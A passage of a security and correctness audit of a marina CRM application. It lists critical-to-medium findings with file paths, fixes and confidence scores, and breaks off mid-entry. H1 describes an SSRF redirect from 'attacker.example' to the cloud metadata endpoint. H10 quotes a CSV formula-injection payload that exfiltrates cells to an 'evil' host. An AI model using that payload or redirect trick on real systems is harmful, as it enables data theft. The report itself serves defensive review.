_Derivation (counting the actual numbered entries in each source doc, several of which bundle sub-items): pass 1+2 = C3 / H6 / M11 / L12 = **32**; pass 3 = C1 / H13 / M18 / L23 = **55**; union = 87, minus two merges (the cross-pass deposit-currency duplicate, and the within-pass-3 AI rate-limit + budget pair) = **85**. (Note: each source doc's own headline subtotal — 29 and 48 — under-reported its physical entry count by folding some bundled items; this unified count is computed from the actual entries preserved here.)_
|
||||
|
||||
### Top fixes before launch
|
||||
|
||||
**Critical (all four):**
|
||||
|
||||
- **C1 — Cross-currency deposit gate auto-marks berths Sold.** Deposit total sums all currencies as bare scalars vs a single-currency expectation, then auto-advances and fires the `deposit_received` rule → berth "Sold" off an underpaid/wrong-currency deposit. _(Merged pass1+2 C1 + pass3 H3.)_
|
||||
- **C2 — Lost/cancelled deals auto-flip the berth to "Sold."** `setInterestOutcome` fires `interest_completed` for every outcome; the outcome-blind rule defaults to `sold`, corrupting public marketing + inventory.
|
||||
- **C3 — Residential module-disabled state never enforced on the v1 API.** Admin disables Residential, but all 13 `/api/v1/residential/**` routes skip any module gate; writes (incl. partner-forward emails) still go through.
|
||||
- **C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`.** Every tracked link in outbound mail 302-redirects external recipients to `/login` — all tracked links are dead.
|
||||
|
||||
**Most serious HIGHs:**
|
||||
|
||||
- **H1 — Webhook `fetch` follows redirects, defeating the SSRF allowlist** → full SSRF read primitive against cloud metadata with exfiltration via the deliveries UI.
|
||||
- **H2 — Client merge skips payments + polymorphic ownership** → survivor loses memberships/yachts/invoices/payments; sets up H3 cascade-delete.
|
||||
- **H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments** → silent destruction of the survivor's financial history.
|
||||
- **H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`)** → premature "Sold" one-to-two stages early.
|
||||
- **H5 — Yacht archive/restore falsifies the ownership-history ledger** → permanent corruption of the legal ownership audit trail.
|
||||
- **H6 — Dashboard reports title-case berth status that never matches canonical** → leadership PDF silently reports 0 sold / understated occupancy.
|
||||
- **H7 — Residential notes feature fully broken (wrong API URL in NotesList)** → every notes CRUD 404s; UI silently shows "No notes yet."
|
||||
- **H8 — `residentialAccess` toggle bypasses caller-superset check** → privilege escalation granting residential CRUD the caller doesn't hold.
|
||||
- **H9 — AI email-draft spends OpenAI tokens with no rate limit and no budget gate** → an authed rep can loop to drain the per-port budget.
|
||||
- **H10 — CSV formula injection in expense + audit-log exports** → RCE/exfil on an admin's machine when opening the export.
|
||||
- **H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`** → another tenant's logo + port name rendered onto a report PDF cover.
|
||||
|
||||
---
|
||||
|
||||
## 2. Findings
|
||||
|
||||
### CRITICAL
|
||||
|
||||
#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing the pipeline and auto-marking berths Sold _(merged: pass1+2 C1 + pass3 H3)_
|
||||
|
||||
`src/lib/services/payments.service.ts:40-70,130-132` + `src/lib/db/schema/interests.ts:64-65`
|
||||
The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration in `getDepositTotalForInterest`) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit.
|
||||
**Fix:** Filter the sum to `payments.currency = interest.depositExpectedCurrency` (or normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing); reject or require manual confirmation when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9**
|
||||
|
||||
#### C2 — Lost/cancelled deals auto-flip the berth to "Sold" (public marketing + inventory corruption)
|
||||
|
||||
`src/lib/services/interests.service.ts:1407` + `src/lib/services/berth-rules-engine.ts:38-45,89-198`
|
||||
_(Reported independently by the Sales-pipeline and Berth-subsystem lanes — same root cause, merged within pass 3.)_ `setInterestOutcome` fires `evaluateRule('interest_completed', …)` unconditionally for **every** non-null outcome (`won | lost_other_marina | lost_unqualified | lost_no_response | cancelled`). The engine never inspects `interest.outcome`; the default rule is `{ mode:'auto', targetStatus:'sold' }`, so it blindly sets the primary berth `status='sold'`. The inline comment claiming admins can "scope per outcome via system*settings.berth_rules" is aspirational — `getRulesConfig`/`evaluateRule` have no outcome dimension. A rep marking a deal lost or cancelled silently sets the berth to **Sold** on the public site (`derivePublicStatus` ranks Sold highest), removes it from the recommender (`b.status <> 'sold'`), and corrupts occupancy/inventory reporting — `mode:'auto'`, no confirmation.
|
||||
**Fix:** Branch on outcome before firing — only `won` should target `sold`; `lost*\*`/`cancelled`should fire`interest_archived`/ a new`deal_lost`trigger defaulting to`available`, or gate inside `evaluateRule`on`outcome === 'won'`. **Confidence: 0.9**
|
||||
|
||||
#### C3 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
|
||||
|
||||
`src/app/api/v1/residential/**/route.ts` (all 13 routes); enforcement only at `(dashboard)/[portSlug]/residential/layout.tsx:34-43`
|
||||
Tenancies routes gate every handler with `assertTenanciesModuleEnabled`, but **none** of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap `/api/v1/residential/**` (those live under `app/api/`, outside `(dashboard)`). The `residential-module.service.ts:14-19` docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with `residential_*` permissions can still `POST /residential/clients`, `PATCH /residential/interests/[id]`, run the bulk endpoint, add notes — and `createResidentialInterest` fires partner-forward emails to third parties (`residential.service.ts:341`). The public inquiry endpoint _is_ gated (`api/public/residential-inquiries/route.ts:69`), confirming the gap is unintended.
|
||||
**Fix:** Add `await assertResidentialModuleEnabled(ctx.portId)` at the top of every residential v1 handler (mirror Tenancies), or a shared `withResidentialModule` wrapper; fix the docstring. **Confidence: 0.93**
|
||||
|
||||
#### C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_
|
||||
|
||||
`src/proxy.ts:51`
|
||||
External email recipients hitting a tracked `/q/[slug]` link are 302-redirected to `/login`, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience.
|
||||
**Fix:** Add `/q/` to `PUBLIC_PATHS`. **Confidence: high (confirmed)**
|
||||
|
||||
---
|
||||
|
||||
### HIGH
|
||||
|
||||
#### H1 — Webhook `fetch` follows redirects by default, bypassing the SSRF host allowlist
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:224-237`
|
||||
The worker validates `webhook.url` via `resolveAndCheckHost` (static + DNS re-resolution of the configured host) then calls `fetch(webhook.url, …)` with **no `redirect: 'manual'`** — Node defaults to `follow`. An admin (or attacker with a `manage_webhooks` session) configures a genuinely-public `https://attacker.example/` that passes every check; at delivery it returns `302 Location: http://169.254.169.254/...`. The redirect target is never re-validated; the worker reads up to 1KB of the response into `webhook_deliveries.response_body`, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot.
|
||||
**Fix:** Pass `redirect: 'manual'`; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against `resolveAndCheckHost` with a hop cap. **Confidence: 0.95**
|
||||
|
||||
#### H2 — Client merge skips polymorphic ownership + payments → survivor data loss
|
||||
|
||||
`src/lib/services/client-merge.service.ts:205-302`
|
||||
Merge re-points only `interests, berthTenancies, clientContacts, clientAddresses, clientNotes, clientTags, clientRelationships, clientMergeCandidates`. It does **not** touch `payments`, `companyMemberships`, polymorphic `yachts` ownership, or polymorphic `invoices` billing-entity. The winner loses visibility of the loser's memberships, yachts, invoices, and payments. Sharpest for payments: merge moves `interests` to the winner but leaves `payments.clientId` on the loser, so a payment's `interestId` points at a winner-owned interest while `clientId` points at the archived loser.
|
||||
**Fix:** In the merge transaction, re-point `payments.clientId`, `companyMemberships.clientId` (dedup against `unique_cm_exact`), `yachts WHERE currentOwnerType='client' AND currentOwnerId=loserId`, and `invoices WHERE billingEntityType='client' AND billingEntityId=loserId`; record each in the undo snapshot. **Confidence: 0.95**
|
||||
|
||||
#### H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments
|
||||
|
||||
`src/lib/db/schema/pipeline.ts:95-97` + `client-merge.service.ts:208-214` + `client-hard-delete.service.ts:313`
|
||||
`payments.clientId` is `notNull onDelete:'cascade'`. After a merge, loser's `payments` retain `clientId=loserId` (per H2) but their `interestId` now belongs to the winner. Hard-deleting that stale duplicate cascades and silently destroys the survivor's financial/deposit history; `hardDeleteClient` never re-points payments.
|
||||
**Fix:** Re-point payments during merge (H2); independently, hard-delete should snapshot/guard payments rather than relying on the cascade. **Confidence: 0.9**
|
||||
|
||||
#### H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`) → premature "Sold"
|
||||
|
||||
`src/lib/services/documents.service.ts:1682-1684`
|
||||
The `documentType === 'reservation_agreement'` completion block calls `evaluateRule('contract_signed', …)` — a copy-paste from the contract block (line 1741). `reservation_signed` is not a valid `BerthRuleTrigger`, so this flips the berth to `sold` (default `contract_signed` rule) one-to-two stages early, before any deposit.
|
||||
**Fix:** Fire the appropriate rule (or none) for reservation signing; do not reuse `contract_signed`. **Confidence: 0.8**
|
||||
|
||||
#### H5 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
|
||||
|
||||
`src/lib/services/client-archive.service.ts:249-252` & `src/lib/services/client-restore.service.ts:401-404`
|
||||
Both paths `update(yachts).set({ currentOwnerType, currentOwnerId })` without closing the open `yacht_ownership_history` row (`endDate IS NULL`) or opening a new one. The canonical `transferOwnership()` (`yachts.service.ts:274-295`) does both, guarded by `uniqueIndex('idx_yoh_active') WHERE endDate IS NULL`. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with `endDate IS NULL`; the next real `transferOwnership` then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically.
|
||||
**Fix:** Extract the history close+open into a `transferOwnershipTx(tx, …)` and call it from both archive and restore handlers. **Confidence: 0.8**
|
||||
|
||||
#### H6 — Dashboard report queries title-case berth status that never matches the lowercase canonical → silent zeros
|
||||
|
||||
`src/lib/services/dashboard-report-data.service.ts:289, 462-464`
|
||||
Canonical `berths.status` is lowercase (`available | under_offer | sold`). `berths_sold_period` matches `newValue->>'status' = 'Sold'` (audit rows store lowercase) → always empty. `occupancy_timeline_chart` does `status IN ('Sold','under_offer','Under offer')` — only `under_offer` ever matches, so the timeline drops all sold berths. Leadership-facing PDF reports two key metrics as 0/understated, silently. `operational.service.ts` does this correctly throughout.
|
||||
**Fix:** Change literals to lowercase `'sold'`/`'under_offer'`. **Confidence: 0.88**
|
||||
|
||||
#### H7 — Residential notes feature fully broken: NotesList builds the wrong API URL
|
||||
|
||||
`src/components/shared/notes-list.tsx:192-194` (consumed by `residential-client-tabs.tsx:116`, `residential-interest-tabs.tsx:59`)
|
||||
`baseEndpoint = /api/v1/${entityType}/${entityId}/notes` interpolates the raw discriminator, so `entityType="residential_clients"` produces `/api/v1/residential_clients/<id>/notes`, but real routes are `/api/v1/residential/clients/[id]/notes` (slash-separated). No such underscore directory or rewrite exists → every list/create/edit/delete 404s; UI silently shows "No notes yet". The sibling `sourceLinkFor()` in the same file uses the correct slash path.
|
||||
**Fix:** Map `entityType` → API path segment via a lookup table and build `baseEndpoint` from that. **Confidence: 0.95**
|
||||
|
||||
#### H8 — `residentialAccess` toggle bypasses the caller-superset check (privilege escalation)
|
||||
|
||||
`src/lib/services/users.service.ts:323-328` + resolver `src/lib/api/helpers.ts:208-221`
|
||||
`updateUser` enforces caller-superset on role reassignment but **not** on the `residentialAccess` flag; the resolver unconditionally grants full residential CRUD when the flag is set. An admin holding only `admin.manage_users` (not `residential_*`) can PATCH any peer `{"residentialAccess": true}`, granting a permission the caller doesn't hold and can't grant via the (hardened) override PUT or role path. Defeats the caller-superset invariant.
|
||||
**Fix:** In `updateUser`, when `residentialAccess === true` and not super-admin, require the caller hold `residential_clients.view` (and other residential leaves) before allowing the flag. **Confidence: 0.85**
|
||||
|
||||
#### H9 — AI email-draft endpoints spend OpenAI tokens with no rate limit and no budget gate
|
||||
|
||||
`src/app/api/v1/ai/email-draft/route.ts` (+ `interest-score/route.ts`, `interest-score/bulk/route.ts`) + worker `src/lib/queue/workers/ai.ts:187` (service `email-draft.service.ts`)
|
||||
_(Merged within pass 3: the AI-subsystem lane and the permissions/rate-limit lane independently flagged the missing rate limit; the AI lane separately flagged the missing budget gate — both facets of the same unprotected token-spend surface.)_ `rateLimiters.ai` (60/min, `rate-limit.ts:111`) exists but `grep withRateLimit('ai'` returns zero hits; `email-draft` enqueues an OpenAI job per call gated only by `email.send` + flag and returns 202 fast (no backpressure), so a loop drains the OpenAI budget. Compounding it, `generateEmailDraft` issues a live OpenAI POST whose only budget interaction is the after-the-fact ledger write (`ai.ts:238`); `checkBudget` is imported in exactly one route (OCR `scan-receipt`) and zero AI routes, so the per-port hard cap (`ai.budget.hardCapTokens`, default 500k) is unenforceable — a rep can loop ~1,600 tokens/call regardless of cap.
|
||||
**Fix:** Wrap each AI route `withRateLimit('ai', …)` (mirror `expenses/scan-receipt/route.ts:28`), AND call `checkBudget({ portId, estimatedTokens: ~1700 })` in `requestEmailDraft` before `aiQueue.add` (or at the top of `generateEmailDraft`), early-returning to the template fallback on `!budget.ok`. **Confidence: 0.9** (rate-limit) **/ 0.97** (budget gate)
|
||||
|
||||
> Note: `interest-score`/`bulk` are pure SQL + Redis (no LLM call) — the rate-limit concern there is DB-amplification, not token spend.
|
||||
|
||||
#### H10 — CSV formula injection in expense + audit-log exports
|
||||
|
||||
`src/app/api/v1/expenses/export/csv/route.ts` + `src/lib/services/expense-export.tsx:66` + `src/app/api/v1/admin/audit/export/route.ts:95-102`
|
||||
Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with `=`, `+`, `-`, `@`, or leading tab/CR is emitted verbatim. Free-text fields (expense `Establishment`/`Description`; audit `userAgent`/`metadata`/`oldValue`/`newValue`) carry attacker-seeded payloads like `=HYPERLINK("http://evil/?d="&A1,"OK")`; an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard.
|
||||
**Fix:** Shared sanitizer that prefixes a `'` (or space) when `String(v)[0]` ∈ `=+-@\t\r`, applied in `buildCsv`'s `escape` and before `Papa.unparse`. **Confidence: 0.9**
|
||||
|
||||
#### H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`
|
||||
|
||||
`src/lib/services/report-render.service.ts:228-242` (enqueue `src/app/api/v1/reports/runs/route.ts:38-52`, validator `src/lib/validators/reports.ts:76`)
|
||||
_(Reported by the worker-isolation lane as HIGH and by the report-correctness lane as LOW — taking the higher severity; data scope is confirmed limited to cover logo + port name.)_ The render worker reads an arbitrary `coverBrandPortId` straight from the run config and loads that port's brand kit with **no access check** (config validated only as `z.record(z.string(), z.unknown())`; `createReportRun` validates `templateId` but not config keys). Any user with `reports:export` can render another tenant's logo + port name onto a report PDF cover. All data still comes from `run.portId` (no record leak), and the deployment is single-port today — hence HIGH not CRITICAL; becomes a clean cross-tenant leak on second-port provisioning.
|
||||
**Fix:** Validate `coverBrandPortId` against the requesting user's accessible ports at enqueue, or drop the override; defense-in-depth, honor it only if it equals `run.portId`. **Confidence: 0.85**
|
||||
|
||||
#### H12 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
|
||||
|
||||
`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263`
|
||||
The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
|
||||
**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85**
|
||||
|
||||
#### H13 — "EOI signed" yields two different pipeline stages depending on signing channel
|
||||
|
||||
`src/lib/services/documents.service.ts:992` vs `:1634`
|
||||
Documenso-webhook signing advances to `reservation` (`advanceStageIfBehindGated(..., 'eoi_signed')`); manual upload (`uploadSignedManually`) advances only to `eoi` via bare `advanceStageIfBehind` — a full stage behind, and it also bypasses the per-port `stage_advance_rules` gate. Skews stage-duration/funnel reports.
|
||||
**Fix:** Make both paths target `reservation` via `advanceStageIfBehindGated(..., 'eoi_signed')`. **Confidence: 0.8**
|
||||
|
||||
#### H14 — Browser back/forward desyncs URL from displayed list
|
||||
|
||||
`src/hooks/use-paginated-query.ts:44-56`
|
||||
Page/pageSize/sort/filters seed from the URL once via `useState` initializers, then drive the URL one-way via `router.replace`. No effect resyncs `searchParams` → state, so Back/forward updates the URL but not component state (URL shows page 2, list shows page 3); refresh jumps again.
|
||||
**Fix:** Derive state directly from `useSearchParams()`, or add an effect resyncing the four slices when params change. **Confidence: 0.78**
|
||||
|
||||
#### H15 — Applying a saved view silently drops the saved sort
|
||||
|
||||
`src/components/clients/client-list.tsx:192` (+ interests/yachts/companies/berths/residential-interests list components) + `src/hooks/use-paginated-query.ts`
|
||||
`SavedViewsDropdown` passes `(view.filters, view.sortConfig)` to `onApplyView`, but every consumer ignores the second arg (`client-list` destructures `_savedSort` and discards it). `usePaginatedQuery` has no atomic "apply filters **and** sort" mutator. A saved "Overdue invoices, sorted by amount desc" restores filters but the default sort — half-applying the view.
|
||||
**Fix:** Add `setViewState({ filters, sort })` (one `syncUrl` write) to `usePaginatedQuery` and thread the sort through each `onApplyView`. **Confidence: 0.9**
|
||||
|
||||
#### H16 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts` (lifecycle) + `src/lib/db/schema/tenancies.ts:80-83`
|
||||
The only conflict guard is the partial unique index `idx_bt_active` on `(berth_id) WHERE status='active'`; there is no check that a new tenancy's `[startDate,endDate]` doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a `pending` row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking _is_ DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies.
|
||||
**Fix:** Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add `EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active')`. **Confidence: 0.8**
|
||||
|
||||
#### H17 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges
|
||||
|
||||
`src/lib/validators/tenancies.ts:35-67` + `src/lib/services/berth-tenancies.service.ts:362-407,541-619`
|
||||
`update`/`renew`/`transfer`/`end` schemas accept raw `z.coerce.date()` with no cross-field refine. `transferTenancy` mints the successor with `startDate: data.transferDate` but `endDate: existing.endDate` (`:583-584`); transferring an over-running tenancy forward yields `endDate < startDate`. `updateTenancy:371-372` and `renewTenancy:441-442` are unchecked similarly. Inverted ranges corrupt `tenancy-reports.service.ts` occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection.
|
||||
**Fix:** Add `.refine(d => !d.endDate || !d.startDate || d.endDate >= d.startDate)` to each schema; in `transferTenancy` clamp/validate `endDate` against `transferDate`. **Confidence: 0.82**
|
||||
|
||||
---
|
||||
|
||||
### MEDIUM
|
||||
|
||||
#### M1 — `setInterestOutcome` has no terminal-state guard; outcomes overwritable → re-fires side effects
|
||||
|
||||
`src/lib/services/interests.service.ts:1358-1407`
|
||||
Unlike `clearInterestOutcome`, `setInterestOutcome` never checks `existing.outcome`. A second call (won→lost, double-submit, idempotent webhook) re-runs `evaluateRule('interest_completed')` (compounding C2), folder rename, audit row, socket emit, Umami event.
|
||||
**Fix:** Reject re-setting an outcome (require clearing first) and make the berth rule outcome-aware. **Confidence: 0.75**
|
||||
|
||||
#### M2 — Sending a reservation_agreement fires `eoi_sent` rule + double-advances, polluting EOI milestones
|
||||
|
||||
`src/lib/services/documents.service.ts:846-892`
|
||||
For a reservation_agreement send, the shared block fires `evaluateRule('eoi_sent')`, advances to `eoi`, stamps `dateEoiSent`/`eoiDocStatus='sent'`, **then** the reservation branch advances to `reservation`. EOI milestone columns are written for a non-EOI document, polluting funnel data.
|
||||
**Fix:** Gate the EOI-specific stamps + `eoi_sent` rule to `doc.documentType === 'eoi'`. **Confidence: 0.7**
|
||||
|
||||
#### M3 — `changeInterestStage` non-transactional double-UPDATE + back-stamps milestone dates on signing-driven advances
|
||||
|
||||
`src/lib/services/interests.service.ts:1140-1163`
|
||||
Two non-transactional UPDATEs on the same row; milestone logic stamps `dateContractSent = now` on any move to `contract` — but the contract-signed webhook calls this right after stamping `dateContractSigned`, back-stamping `dateContractSent` to the signing instant so "sent→signed" duration reads ~0.
|
||||
**Fix:** Only auto-stamp milestone dates for manual/UI moves, not signing-driven advances; fold the two UPDATEs into one. **Confidence: 0.65**
|
||||
|
||||
#### M4 — Multi-berth bundles: status-advancing rules flip only the primary berth, leaving siblings stale
|
||||
|
||||
`src/lib/services/berth-rules-engine.ts:89-93`
|
||||
The engine targets `primaryBerth?.berthId` only. For a multi-berth EOI bundle (`is_in_eoi_bundle`), a won/deposited/contracted deal flips only the primary to `sold`; bundled siblings keep `available`/`under_offer` and stay publicly visible + pitchable.
|
||||
**Fix:** For status-advancing triggers, iterate the full `interest_berths WHERE is_in_eoi_bundle = true` set under the same advisory-lock/idempotency pattern. **Confidence: 0.75**
|
||||
|
||||
#### M5 — `berth_unlinked` rule mutates the wrong berth (surviving primary, not the unlinked one)
|
||||
|
||||
`src/lib/services/interest-berths.service.ts:421-433`
|
||||
`removeInterestBerth` deletes the junction row first, then fires `evaluateRule('berth_unlinked', …)`, which resolves its target via `getPrimaryBerth(interestId)` — the just-unlinked berth is gone, so it targets a different still-linked berth. Default mode `off` makes it dormant, but enabling auto/suggest would corrupt an unrelated berth's status.
|
||||
**Fix:** Pass the specific unlinked `berthId` to `evaluateRule` (add `targetBerthIdOverride`), evaluating before the delete. **Confidence: 0.85**
|
||||
|
||||
#### M6 — `unmergeClients` reversibility contract is documented but does not exist
|
||||
|
||||
`src/lib/services/client-merge.service.ts:13-16,134`
|
||||
The header documents a full 7-day reversibility contract and `dedup_undo_window_days` setting; the snapshot is written to `clientMergeLog.mergeDetails` — but `unmergeClients` has **zero definitions** in `src/`. Operators are told merges are reversible; they are not, and merge archives the loser + re-points children destructively.
|
||||
**Fix:** Implement `unmergeClients` against the stored snapshot, or remove the reversibility claims + undo-window setting. **Confidence: 0.92**
|
||||
|
||||
#### M7 — GDPR Article-15 export omits PII-bearing tables
|
||||
|
||||
`src/lib/services/gdpr-bundle-builder.ts:16-37,89-194`
|
||||
The bundle omits `payments` (amounts/receipts/dates), `berthWaitingList`, `supplementalFormTokens`, and `interestFieldHistory` — all carrying client PII / cascade FKs. Payments in particular are clearly Article-15 personal data.
|
||||
**Fix:** Add port-scoped queries + bundle sections for these tables. **Confidence: 0.85**
|
||||
|
||||
#### M8 — Bounce poller matches `document_sends` globally with no `port_id` → cross-tenant misattribution
|
||||
|
||||
`src/jobs/processors/imap-bounce-poller.ts:146-156`
|
||||
_(Reported by both the worker-isolation lane and the email-engine lane — merged within pass 3; email lane is the more detailed.)_ The match scopes on `recipientEmail` + 7-day window only, with no `portId` filter, against a single global env IMAP inbox. If Ports A and B both emailed `victim@x.com`, a bounce is pinned to whichever sent most recently — wrong port's `document_sends` row gets `bounceStatus`/`bounceReason`, wrong rep notified (and the bounce reason text leaks into the other tenant's notification). `originalRecipient` is parsed from attacker-controllable IMAP body, so a forged NDR can mark an arbitrary cross-port send bounced.
|
||||
**Fix:** Require per-port IMAP (`getSalesImapConfig(portId)`) + `eq(documentSends.portId, portId)`, or embed a port-tagged token in the outbound Message-ID and match on `inReplyTo`/References. **Confidence: 0.85**
|
||||
|
||||
#### M9 — Duplicate scheduled-report emails on BullMQ retry (no per-recipient idempotency)
|
||||
|
||||
`src/lib/services/report-render.service.ts:371-380`
|
||||
`emailedAt` is stamped only after the whole recipient loop (queue `maxAttempts:3`); a transient SMTP failure on recipient N re-sends to 1..N-1 on retry, and there's no top-of-function early-return on `run.emailedAt`. Recipients (possibly external) get duplicate report PDFs.
|
||||
**Fix:** Early-return when `run.emailedAt` is set; track per-recipient state, or stamp `emailedAt` before the loop and log-not-throw individual send failures. **Confidence: 0.8**
|
||||
|
||||
#### M10 — Socket auth never checks `userProfiles.isActive` (deactivated users keep receiving broadcasts)
|
||||
|
||||
`src/lib/socket/server.ts:46-55,67-89,116-149`
|
||||
The HTTP gate rejects `!isActive` with 403; the socket middleware/`userCanAccessPort`/`userCanJoinEntity` check only `isSuperAdmin` + a `userPortRoles` row. A deactivated rep's live tab (valid session cookie) keeps a socket and receives every `port:`-scoped broadcast (new clients, invoice totals + names, document-signed, payment amounts, note previews) until the cookie expires.
|
||||
**Fix:** Add `if (!profile.isActive) return next(new Error('Account disabled'))` in the middleware and short-circuit the can-access helpers on `!isActive`. **Confidence: 0.9**
|
||||
|
||||
#### M11 — Socket entity-room gate is membership-only, not permission-scoped (note-preview over-exposure)
|
||||
|
||||
`src/app/api/v1/clients/[id]/notes/route.ts:50-55`, `interests/[id]/notes/route.ts:43-48` + `src/lib/socket/server.ts:62-89`
|
||||
`userCanJoinEntity` admits any user with a `userPortRoles` row for the entity's port without consulting role permissions. A user whose role grants zero client permissions can `join:entity {type:'client'}` and receive note-content previews (`note.content.slice(0,100)`) over the socket, whereas REST `GET /clients/[id]/notes` would 403 via `withPermission('clients','view')`.
|
||||
**Fix:** Thread the role permission into `userCanJoinEntity` (require `clients.view`/`interests.view`/`berths.view`). **Confidence: 0.78**
|
||||
|
||||
#### M12 — Self-target guard missing on `updateUser` (admin self-deactivate / self-escalate)
|
||||
|
||||
`src/lib/services/users.service.ts:205` (handler `admin/users/[id]/route.ts:20`)
|
||||
`removeUserFromPort` blocks self-removal but `updateUser` has no equivalent; the PATCH handler passes `params.id` through unchecked. An admin can PATCH themselves `{"isActive": false}` (self-lockout) or `{"residentialAccess": true}` (self-escalation, compounding H8) — the override route blocks self-target for exactly this reason.
|
||||
**Fix:** Reject `userId === meta.userId` for privileged fields (`isActive`, `roleId`, `residentialAccess`). **Confidence: 0.8**
|
||||
|
||||
#### M13 — Bulk-mutation endpoints have no `bulk` rate limiter (DB-amplification DoS)
|
||||
|
||||
`src/app/api/v1/{clients,companies,yachts,interests,berths,residential/interests}/bulk/route.ts`
|
||||
`rateLimiters.bulk` (5/min) is defined but applied to zero bulk routes (`grep` → 0 hits). Each request is a large multi-row transaction; one valid session can fire unbounded bulk archive/update/transfer. The hard-delete bulk variant _is_ limited; the ordinary mutators are not.
|
||||
**Fix:** Add `withRateLimit('bulk', …)` to the bulk handlers. **Confidence: 0.75**
|
||||
|
||||
#### M14 — Broad `api` limiter (120/min) applied to 0 of 353 v1 routes; no edge backstop
|
||||
|
||||
`src/lib/api/helpers.ts:367-391` + `src/proxy.ts`
|
||||
Only `hardDeleteCode`/`exports`/`ocr` pass anything to `withRateLimit`; the edge middleware does auth-cookie + CSP only, no rate limiting. The entire authenticated v1 API has no per-request ceiling, and `checkRateLimit` fails open on Redis outage.
|
||||
**Fix:** Apply `withRateLimit('api', …)` as a default in `withAuth`/a shared wrapper, with tighter named limiters layered on top. **Confidence: 0.7**
|
||||
|
||||
#### M15 — `export-pdf` route renders fully client-supplied, unbounded payload synchronously (memory/timeout DoS + arbitrary branded-PDF content)
|
||||
|
||||
`src/app/api/v1/reports/export-pdf/route.ts:29-60,105`
|
||||
`payloadSchema` validates shape only — no `.max()` on `sections`/`rows` — then `renderToBuffer` runs inline on the request thread (gated only by `reports.view_dashboard`). A huge payload OOMs/stalls Node; content is whatever the client sent (no server re-derivation), so arbitrary text lands in a "Port Nimara"-branded PDF. The worker path caps at `REPORT_ROW_CAP=1000`; this route doesn't.
|
||||
**Fix:** Add `.max()` bounds + a total-cell budget, and/or move the render to the BullMQ worker. **Confidence: 0.8**
|
||||
|
||||
#### M16 — S3 `presignUpload` constrains neither content-type nor size; doc comment falsely claims content-length-range
|
||||
|
||||
`src/lib/storage/s3.ts:285-292` (caller doc `pdf-upload-url/handlers.ts:1-5`)
|
||||
`presignedPutObject(bucket, key, expiry)` signs only key+expiry; `opts.contentType`/size are dropped. A presigned-PUT holder can upload any bytes/type/size for 15 min. Blast radius is bounded because berth-pdf + brochure register paths re-HEAD + magic-byte-probe and delete non-`%PDF-` — but any future caller forgetting the re-check is an unvalidated-upload hole, and the object lives uncapped between upload and register.
|
||||
**Fix:** Move S3 to `presignedPostPolicy` (signs content-length-range + content-type), or document loudly that every consumer MUST re-validate; correct the misleading comment now. **Confidence: 0.9**
|
||||
|
||||
#### M17 — Filesystem proxy PUT enforces global 50 MB, not the advertised per-port `berth_pdf_max_upload_mb` (15 MB)
|
||||
|
||||
`src/app/api/storage/[token]/route.ts:172-211`
|
||||
